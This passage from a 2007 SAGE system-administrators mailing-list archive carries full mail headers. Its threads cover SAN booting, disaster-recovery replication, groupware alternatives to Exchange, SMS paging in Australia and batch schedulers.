> into its own package which complicates fixing the timezone data.

The Linux Watch article at
<http://www.linux-watch.com/news/NS6300294422.html> has information about
glibc versions as well as manually updating one's TZ info.

According to the article, systems with glibc 2.3.2-64 and earlier need to 
be updated.  I haven't verified this, since my glibc versions are newer.

Red Hat has updates mentioned for AS3 at 
<http://rhn.redhat.com/errata/RHEA-2006-0622.html%5Ct_blank>, but only 
for AS3v.3 and AS3v.4

John



From sage-members-owner@usenix.org Tue Mar 13 13:21:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2DKL4ug029070
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 13 Mar 2007 13:21:04 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2DKL4rc029069
	for sage-members-0utGoign; Tue, 13 Mar 2007 13:21:04 -0700 (PDT)
Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.226])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2DKKeAb029061
	for <sage-members@sage.org>; Tue, 13 Mar 2007 13:20:51 -0700 (PDT)
Received: by wr-out-0506.google.com with SMTP id i21so1582576wra
	for <sage-members@sage.org>; Tue, 13 Mar 2007 13:20:36 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=mj+n+4Pd2CfRT4IHzmUO54pjNpkW/HPERjgrJfVdWRsFkUDujHn8W88zL4oyElibPmjbG3xuv2CEK/9TJBhVKJyjBUALEBxSBZMN6GAVEUCJGFfjTwEONBEsMXiBCUCk8kNxCAPQPUplG7vuAZfcDqZkvalFtFl/WiTvorKtKXs=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=mA3izLmz0IyMssY4TDNQzn3KcLXjwN6YLTSEREomxhE5OOylKORKR3jQxmq6+ZkvLCi3IM4z5L+T2+GyOeuO8L8ADg0R5lcjlMJWjdj7X84/HLv6tPPV44H4mkKTiIY2u1PnA7McBpSwhcE+mEhSMIBMNkwyyZW/iXqOG333WJw=
Received: by 10.114.190.6 with SMTP id n6mr2591089waf.1173817235973;
	Tue, 13 Mar 2007 13:20:35 -0700 (PDT)
Received: by 10.114.125.12 with HTTP; Tue, 13 Mar 2007 13:20:35 -0700 (PDT)
Message-ID: <82a71f8a0703131320g4142b226t485ee82e10acb103@mail.gmail.com>
Date: Tue, 13 Mar 2007 13:20:35 -0700
From: "Doug Hanks" <dhanks@gmail.com>
To: "Neil Watson" <sage@watson-wilson.ca>
Subject: Re: [SAGE] Disaster Recovery
Cc: sage-members@sage.org
In-Reply-To: <20070310155143.GD3148@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <20070310155143.GD3148@watson-wilson.ca>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

We're currently going through the process of setting up our
environment to boot from SAN.  This includes all virtual and physical
servers.  Obviously the benefits of SAN storage out weight the
benefits of local storage.

Our strategy is to SnapMirror the LUNs to our DR site - so we simply
just boot the physical server from another location, and all the data
is the same.  Or at least crash consistent ;)

On 3/10/07, Neil Watson <sage@watson-wilson.ca> wrote:
> We are setting up a DR site at work.  Our core servers are both virtual
> (VMware) and physical.  The VMware servers are replicated in near real
> time at the SAN level.  Does anyone know of a way to replicate live
> physical servers without taking them out of service?
>
> Also, at a DR site how do you deal with public IP addresses?  Does the
> DR site have the same IPs?  How does one go about doing that?  If the
> IPs are different are you forced to keep two sets of DNS records?  Would
> that not delay disaster recovery time for up to 48 hours while waiting
> for the new DNS records to propagate?
>
> --
> Neil Watson             | Debian Linux
> System Administrator    | Uptime 11 days
> http://watson-wilson.ca
>


-- 
- Doug Hanks = dhanks(at)gmail(dot)com


From sage-members-owner@usenix.org Tue Mar 13 13:44:32 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2DKiWQu029735
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 13 Mar 2007 13:44:32 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2DKiV7x029733
	for sage-members-0utGoign; Tue, 13 Mar 2007 13:44:31 -0700 (PDT)
Received: from ik-out-1112.google.com (ik-out-1112.google.com [66.249.90.182])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2DKi3S6029704
	for <sage-members@sage.org>; Tue, 13 Mar 2007 13:44:14 -0700 (PDT)
Received: by ik-out-1112.google.com with SMTP id b35so2378984ika
	for <sage-members@sage.org>; Tue, 13 Mar 2007 13:43:59 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=jrZS/Rk1tSGb+lDwznsuU7UlFzuqbj3JvShVxo2ARwSZZLwamDy0V9WVfAZAEzKHoFPO6xm5r7V6tdqzBavqBFi5LaGbCi5VBbxdmtcPytUuVW7zMN79MF3vgEs+4eUMjsi06Pla8S89MXK6z5UQiIZLkCwN8G3fILTAW3YCUI4=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=Ql6kMgfBJGaEJpgXkOcZgZm6w2QMAjRiHU2bcjUOD3WzNHVSZsEpqTDwbEkEZNPmh2pLTLUyobhTpuAO0bZ+fJ+oaqwph3VgDSVSPBpR+P5f37lf5auN4LDtob6+9SNavYUUFDqjvtcyKLTvBAHhj8f5reCpdUClITDWXVIt/o8=
Received: by 10.114.75.1 with SMTP id x1mr2574650waa.1173817083577;
	Tue, 13 Mar 2007 13:18:03 -0700 (PDT)
Received: by 10.114.125.12 with HTTP; Tue, 13 Mar 2007 13:18:03 -0700 (PDT)
Message-ID: <82a71f8a0703131318i3df8a01dpc2e7fdd8296caa9f@mail.gmail.com>
Date: Tue, 13 Mar 2007 13:18:03 -0700
From: "Doug Hanks" <dhanks@gmail.com>
To: "Marco Marongiu" <brontolinux@gmail.com>
Subject: Re: [SAGE] Booting RedHat from SAN
Cc: "SAGE mailing list" <sage-members@sage.org>
In-Reply-To: <45F27ED2.1020307@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <82a71f8a0703091425tb991ed9kc6a504eeb68ffc62@mail.gmail.com>
	<45F27ED2.1020307@gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Sounds like what you did was booting from SAN.  It's my understanding
that when you boot your OS from something like a NetApp device, that
qualifies as booting from SAN.

Did you configure the Qlogic HBAs to see the LUNs and configure the
BIOS to use the HBAs as a boot device?

I'm also interested if using this technique you would have dual-paths
and all the pathing logic was handled by the HBA.

Doug

On 3/10/07, Marco Marongiu <brontolinux@gmail.com> wrote:
> Ciao Doug
>
> Doug Hanks wrote:
> > Does anyone have any engineering experience that aligns with this
> > strategy?  Our current engineering direction is to use RedHat AS 4;
> > NetApp; and HP BladeCenter.
> >
> > Our current goal is to have RHEL4-U4 booting from an HP BladeCenter
> > that is attached to NetApp storage.  We'll be using the QLogic HBAs in
> > the blades.
> Don't know about booting from SAN (and I would be very interested in the
> subject), but at the ISP I work for I successfully configured our Red
> Hat AS4 with a set-up similar to yours. We use SUN v40z hardware, double
> qlogic HBAs of the 24xx class (I think it was 2462, I don't remeber
> exactly which model and I can't reach Qlogic's site at the moment...)
> for hardware redundancy. We mount LUNs from a NetApp cluster and we
> reach each LUN from four different paths; the access to the LUN is
> mediated by the device mapper multipath for resiliency.
>
> I stop here since I may be off-topic. In case this configuration is of
> any interest for you just let me know and I'll try to give some more detail.
>
> Ciao
> --bronto
>
>


-- 
- Doug Hanks = dhanks(at)gmail(dot)com


From sage-members-owner@usenix.org Tue Mar 13 16:29:32 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2DNTVDM004999
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 13 Mar 2007 16:29:32 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2DNTV2V004998
	for sage-members-0utGoign; Tue, 13 Mar 2007 16:29:31 -0700 (PDT)
Received: from mail3.bitpusher.com (mail3.bitpusher.com [64.127.99.16])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2DNTEkg004992
	for <sage-members@usenix.org>; Tue, 13 Mar 2007 16:29:24 -0700 (PDT)
Received: from [10.0.1.2] (c-71-197-234-192.hsd1.wa.comcast.net
	[71.197.234.192])
	by mail3.bitpusher.com (Postfix) with ESMTP id C30E51CB63;
	Tue, 13 Mar 2007 15:03:09 -0800 (PST)
In-Reply-To: <45EDA096.5010200@seekio.com>
References: <45EDA096.5010200@seekio.com>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <61BD5F3C-7DE7-47F2-A073-E044BA0F5E62@halligan.org>
Cc: "Michael T. Halligan" <michael@halligan.org>, sage-members@usenix.org
Content-Transfer-Encoding: 7bit
From: "Michael T. Halligan" <michael@halligan.org>
Subject: Re: [SAGE] Exchange work-alikes
Date: Tue, 13 Mar 2007 16:28:00 -0700
To: Nate <nate@seekio.com>
X-Mailer: Apple Mail (2.752.3)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Mirapoint provides a solution like this. Avoid it, unless you feel  
like throwing $30k into a hole and burying it.
In fact, if you do, let me know where the hole is, so I can buy  
myself out of my Mirapoint lease, and not have
to use this piece of junk anymore.

On Mar 6, 2007, at 9:10 AM, Nate wrote:

> I've been doing some research on email/calendar/contact systems  
> similar
> to exchange, and was wondering if anyone had any opinions.   
> Luckily, we
> do not currently run Exchange, rather a qmail/vpopmail setup that's
> showing its age.  Our company is getting large enough now that we need
> some groupware functionality, specifically calendars for meeting
> schedules, resource scheduling, etc.  So I'm trying to find a good
> alternative before I get the dreaded request to install Exchange.  So
> far I've been looking at Scalix 11 and Zimbra 4.5.  So far Zimbra is
> looking very nice, and I'm leaning that way.  Here is a quick list of
> requirements:
>
> - Only about 100 users right now, and probably only a growth of 50 a
> year at most.
> - No MS
> - Email accounts and aliases
> - Support for 200+ domains
> - Mailing lists
> - Wildcard addresses (user-*@domain.com)
> - Calendars with ability to invite other users to events
> - Ability to schedule resources (mainly conference rooms)
> - Be able to see free/busy for people/resources when scheduling
> - Shared Contacts.
> - Works across 3 major platforms (Windows, MacOS X, Linux)
>
> Bonuses:
> - Outlook integration
> - Apple iSync integration
> - Webmail
>
> With that said, Zimbra fits the bill almost perfectly.  I especially
> like the fact that it's based on Postfix, and other open source
> projects.  However, I am leary of major parts of it (webmail, POP,  
> SMTP,
> IMAP) running in Tomcat.
>
> I also looked at Open-Xchange, but was turned off by the interface.
>
> So does anyone have any experience with something like this?  Any
> good/bad notes about Zimbra?  Any other projects that I'm not  
> including?
>
> Thanks,
> Nate



From sage-members-owner@usenix.org Wed Mar 14 10:02:07 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2EH27DC022615
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Mar 2007 10:02:07 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2EH27bp022614
	for sage-members-0utGoign; Wed, 14 Mar 2007 10:02:07 -0700 (PDT)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2EH1bHs022592
	for <sage-members@sage.org>; Wed, 14 Mar 2007 10:01:51 -0700 (PDT)
Received: by ug-out-1314.google.com with SMTP id 74so653679ugb
	for <sage-members@sage.org>; Wed, 14 Mar 2007 10:01:31 -0700 (PDT)
Received: by 10.114.167.2 with SMTP id p2mr2956806wae.1173890061607;
	Wed, 14 Mar 2007 09:34:21 -0700 (PDT)
Received: by 10.114.177.15 with HTTP; Wed, 14 Mar 2007 09:34:21 -0700 (PDT)
Message-ID: <27d46a10703140934t3b230b11t36d94e6de1d3def6@mail.gmail.com>
Date: Wed, 14 Mar 2007 09:34:21 -0700
From: "Benjamin Feen" <benjy@feen.com>
To: sage-members@sage.org
Subject: [SAGE] How do oncall SAs get paged in Australia?
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Here's a silly question:

How do sysadmins get paged in Australia?

Allegedly, there's no pager infrastructure.  Email is apparently not
commonly [or reliably?] gatewayed to SMS.

I know they have computers in Australia. They probably monitor them.

What goes "beep" on an Aussie sysadmin's belt when a service fails?


From sage-members-owner@usenix.org Wed Mar 14 11:55:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2EIt7VP025425
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Mar 2007 11:55:07 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2EIt7Gx025424
	for sage-members-0utGoign; Wed, 14 Mar 2007 11:55:07 -0700 (PDT)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2EIsdlR025405
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Wed, 14 Mar 2007 11:54:51 -0700 (PDT)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l2EIsJDe009455;
	Wed, 14 Mar 2007 13:54:19 -0500
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l2EIsJhu009454; Wed, 14 Mar 2007 13:54:19 -0500
Received: from localhost (heavy.puryear-it.com 192.168.222.5)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Wed, 14 Mar 2007 13:54:19 -0500 (CDT)
Date: Wed, 14 Mar 2007 13:54:22 -0500
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: "Benjamin Feen" <benjy@feen.com>
cc: sage-members@sage.org
Message-ID: <1157927436.20070314135422@puryear-it.com>
In-Reply-To: <27d46a10703140934t3b230b11t36d94e6de1d3def6@mail.gmail.com>
References: <27d46a10703140934t3b230b11t36d94e6de1d3def6@mail.gmail.com>
Subject: Re: [SAGE] How do oncall SAs get paged in Australia?
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.9 required=5.0 tests=BAYES_50, FORGED_MUA_THEBAT_CS 
	autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Kangaroo Carriers. The nice thing about this approach is that each hop
along the route is actually beneficial.

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm


Wednesday, March 14, 2007, 11:34:21 AM, you wrote:

> Here's a silly question:

> How do sysadmins get paged in Australia?

> Allegedly, there's no pager infrastructure.  Email is apparently not
> commonly [or reliably?] gatewayed to SMS.

> I know they have computers in Australia. They probably monitor them.

> What goes "beep" on an Aussie sysadmin's belt when a service fails?



From sage-members-owner@usenix.org Wed Mar 14 12:37:58 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2EJbvrf026597
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Mar 2007 12:37:57 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2EJbvpW026596
	for sage-members-0utGoign; Wed, 14 Mar 2007 12:37:57 -0700 (PDT)
Received: from Mycroft.westnet.com (Mycroft.westnet.com [216.187.52.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2EJbRK0026568
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Wed, 14 Mar 2007 12:37:43 -0700 (PDT)
Received: from jfsnew.stoffel.org (68-118-228-211.dhcp.oxfr.ma.charter.com
	[68.118.228.211]) (authenticated bits=0)
	by Mycroft.westnet.com (8.13.8/8.13.8) with ESMTP id l2EJaxi7003852
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Wed, 14 Mar 2007 15:37:04 -0400 (EDT)
Received: by jfsnew.stoffel.org (Postfix, from userid 1000)
	id E54634EEF9; Wed, 14 Mar 2007 15:37:02 -0400 (EDT)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <17912.20190.867047.118999@smtp.charter.net>
Date: Wed, 14 Mar 2007 15:37:02 -0400
From: "John Stoffel" <john@stoffel.org>
To: sage-members@sage.org
Subject: [SAGE] [lopsa-discuss] LSF vs GRID engine
X-Mailer: VM 7.19 under Emacs 21.4.1
X-Virus-Scanned: ClamAV 0.90/2839/Wed Mar 14 05:24:32 2007 on
	Mycroft.westnet.com
X-Virus-Status: Clean
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


Hi,

Has anyone else out there migrated (or thought of migrating) from
using the Platform Computer LSF (Load Sharing Facility) batch
scheduling tools to the newish Sun GRID Engine
(http://gridengine.sunsource.net) tools?  

We're honestly not using LSF to anywhere near it's capabilities, and
the prices we pay are quite high.  So anything which lets us lower
costs while not losing functionality would be great.

Basically, our users either 'bsub' jobs in batch mode, or they'll fire
off an interactive job and then run their tools.  We're an EDA Design
shop, doing ASIC simulations, layout, etc.  

We don't do many chained jobs, or parallel jobs, or anything like
that.  So why pay for LSF?

Thanks,
John
john@stoffel.org


From sage-members-owner@usenix.org Wed Mar 14 14:43:19 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2ELhDLl029467
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Mar 2007 14:43:13 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2ELhD8W029465
	for sage-members-0utGoign; Wed, 14 Mar 2007 14:43:13 -0700 (PDT)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.185])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2ELgeeL029453
	for <sage-members@sage.org>; Wed, 14 Mar 2007 14:42:51 -0700 (PDT)
Received: by nf-out-0910.google.com with SMTP id l35so449478nfa
	for <sage-members@sage.org>; Wed, 14 Mar 2007 14:42:34 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=oPYFFWZmymkGX9h7yuCYN0tFO1AO6HZCNskrIrSszt2ox+2wzI/Ajlci/nAwbo6GTHoZnyxM1ur3JtH670GBHPk2ZWkBttkdaDN6F26CNy5idWBFFSktfnh8Cv7Mt4uIH0w0KpnJ1hlNv17ziQTtuuUSRSyxSk8IhFYdIWQfnTY=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=CYKwVCi+UFBpZNgwSjKYuPsv0tx36OaHYHqYz/1/G/ZhVKPLtLo2ToljYDwSmgF7zsnWAOfPkt2J2da2TZWQBz8Hia1TZyzw7KeCcYaf39xJxjUBasriWVqCWUrrFDA4zJ4/ZP2ytHW3rtqFUDVTFSB69qSdPxz2epBYtUnAoNc=
Received: by 10.78.136.7 with SMTP id j7mr819761hud.1173908554581;
	Wed, 14 Mar 2007 14:42:34 -0700 (PDT)
Received: by 10.82.115.17 with HTTP; Wed, 14 Mar 2007 14:42:34 -0700 (PDT)
Message-ID: <4fafa3be0703141442o3817afb0xfd60ec08fbf6645c@mail.gmail.com>
Date: Thu, 15 Mar 2007 08:42:34 +1100
From: "Craig Ayliffe" <cayliffe@gmail.com>
To: "Dustin Puryear" <dustin@puryear-it.com>
Subject: Re: [SAGE] How do oncall SAs get paged in Australia?
Cc: "Benjamin Feen" <benjy@feen.com>, sage-members@sage.org
In-Reply-To: <1157927436.20070314135422@puryear-it.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <27d46a10703140934t3b230b11t36d94e6de1d3def6@mail.gmail.com>
	<1157927436.20070314135422@puryear-it.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

There are pager systems, but not that common - the last time I saw one
was 8 years ago at Dept of Defence.

However there are numerous SMS gateway providers in Australia.

My current work uses an SMS gateway provided by messagenet.com.au.
They provide via various methods to connect - email, web, xml, direct tcp...

I use the direct tcp connection using a simple perl script to send
messages from our Nagios monitoring server.
The direct tcp connection will be more reliable than an email gateway,
as that doesn't provide any feedback to say if it got to the server
successfully or not.
It is then down to the reliability of the SMS network providers -
their is functionality to get a return reciept to ensure the message
has been recieved by the recipient I believe.

Actually just had a look at their website, and they also provide a
gateway to pagers as well using the same methods.

Disclaimer: I don't work for MessageNet - have just had great service
from them for the past 3 years.

Regards,

Craig Ayliffe


On 3/15/07, Dustin Puryear <dustin@puryear-it.com> wrote:
> Kangaroo Carriers. The nice thing about this approach is that each hop
> along the route is actually beneficial.
>
> ---
> Puryear Information Technology, LLC
> Baton Rouge, LA * 225-706-8414
> http://www.puryear-it.com
>
> Author:
>   "Best Practices for Managing Linux and UNIX Servers"
>   "Spam Fighting and Email Security in the 21st Century"
>
> Download your free copies:
>   http://www.puryear-it.com/publications.htm
>
>
> Wednesday, March 14, 2007, 11:34:21 AM, you wrote:
>
> > Here's a silly question:
>
> > How do sysadmins get paged in Australia?
>
> > Allegedly, there's no pager infrastructure.  Email is apparently not
> > commonly [or reliably?] gatewayed to SMS.
>
> > I know they have computers in Australia. They probably monitor them.
>
> > What goes "beep" on an Aussie sysadmin's belt when a service fails?
>
>


From sage-members-owner@usenix.org Wed Mar 14 16:04:51 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2EN4oc1005173
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Mar 2007 16:04:50 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2EN4o47005170
	for sage-members-0utGoign; Wed, 14 Mar 2007 16:04:50 -0700 (PDT)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.171])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2EN4ScI005126
	for <sage-members@sage.org>; Wed, 14 Mar 2007 16:04:39 -0700 (PDT)
Received: by ug-out-1314.google.com with SMTP id 74so87230ugb
	for <sage-members@sage.org>; Wed, 14 Mar 2007 16:04:24 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:user-agent:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding;
	b=V+6sSTobCxze0zHxkqTU6Q3AA1EoiAaoU5PnENoIugeQTsI1wTw2yk24Mod2lE1kLBwxLwUTRpfxBBKzHXW13IdfYFe2wEGF9qRw1tA/8xBEnJslzvhOix4NkCBDzLlsluAvjnOuGTOvAfLlHNE4l/OAHKkDbX/lDKa5/PrtGPQ=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:user-agent:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding;
	b=n/iyco6j+8MbldqJWzfbVYk7g3mkwFpYtt1Nxa//nIjNVJFdGvo3ems3uQnk7PzdA6SFYfv1JJUelpoKaxElxSiBDoTb8vCakXYi2O+s6p0dwdnRYg18g8Axxzs4ZuW74AbLWs1mz7oaEp5AGDIcB16E+AJ6ATEAKZYlltmiqgc=
Received: by 10.67.96.14 with SMTP id y14mr1786344ugl.1173913464386;
	Wed, 14 Mar 2007 16:04:24 -0700 (PDT)
Received: from ?192.168.1.2? ( [217.133.8.17])
	by mx.google.com with ESMTP id y7sm1492887ugc.2007.03.14.16.04.21;
	Wed, 14 Mar 2007 16:04:23 -0700 (PDT)
Message-ID: <45F87F72.4050601@gmail.com>
Date: Thu, 15 Mar 2007 00:04:18 +0100
From: Marco Marongiu <brontolinux@gmail.com>
User-Agent: Icedove 1.5.0.9 (X11/20061220)
MIME-Version: 1.0
To: Doug Hanks <dhanks@gmail.com>
CC: SAGE mailing list <sage-members@sage.org>
Subject: Re: [SAGE] Booting RedHat from SAN
References: <82a71f8a0703091425tb991ed9kc6a504eeb68ffc62@mail.gmail.com>	
	<45F27ED2.1020307@gmail.com>
	<82a71f8a0703131318i3df8a01dpc2e7fdd8296caa9f@mail.gmail.com>
In-Reply-To: <82a71f8a0703131318i3df8a01dpc2e7fdd8296caa9f@mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk



Doug Hanks wrote:
> Sounds like what you did was booting from SAN.
No Doug, we don't. We boot from local disks and we use FC LUNs from
NetApp devices to store data (e.g. Oracle stuff). When we get to the
LUNs, the OS is already loaded from local disks.
> Did you configure the Qlogic HBAs to see the LUNs and configure the
> BIOS to use the HBAs as a boot device?
See above
>
> I'm also interested if using this technique you would have dual-paths
> and all the pathing logic was handled by the HBA.
>
As said, we use the device mapper multipath support in Linux, with no
intervention from the HBA. All the pathing logic is handled by the
device mapper.

Ciao
--bronto



From sage-members-owner@usenix.org Wed Mar 14 16:13:34 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2ENDWgx005952
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Mar 2007 16:13:32 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2ENDVNN005950
	for sage-members-0utGoign; Wed, 14 Mar 2007 16:13:31 -0700 (PDT)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2ENCPgs005913
	for <sage-members@sage.org>; Wed, 14 Mar 2007 16:12:53 -0700 (PDT)
Received: by ug-out-1314.google.com with SMTP id 74so88951ugb
	for <sage-members@sage.org>; Wed, 14 Mar 2007 16:12:14 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:user-agent:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding;
